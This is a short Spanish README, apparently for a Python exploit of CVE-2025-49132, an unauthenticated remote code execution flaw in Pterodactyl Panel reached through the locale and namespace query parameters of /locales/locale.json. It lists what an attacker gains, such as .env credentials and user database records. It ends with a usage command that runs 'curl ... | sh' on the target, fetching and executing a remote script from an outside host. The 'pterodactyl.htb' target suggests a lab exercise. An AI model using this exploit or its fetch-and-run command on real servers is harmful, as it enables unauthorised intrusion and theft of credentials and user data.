scroollocker/cve-2025-49132Exploit en Python para CVE-2025-49132, que permite la ejecución remota de código no autenticada en Pterodactyl Panel mediante parámetros locale y namespace modificados.
Impacto
Usando el archivo /locales/locale.json con los parámetros de consulta locale y namespace, un actor malicioso puede ejecutar código arbitrario sin estar autenticado.
Con la capacidad de ejecutar código arbitrario, esta vulnerabilidad puede ser explotada de infinitas maneras. Podría ser utilizada para obtener acceso al servidor del Panel, leer credenciales de la configuración del Panel (.env o de otra forma), extraer información sensible de la base de datos (como detalles de usuario [nombre de usuario, correo electrónico, nombre y apellido, contraseña hasheada, direcciones IP, etc.]), acceder a archivos de servidores administrados por el panel, etc.
Cómo usar
python exploit.py --target "pterodactyl.htb" --cmd 'curl http://10.10.14.22:8080/dbs.sh | sh'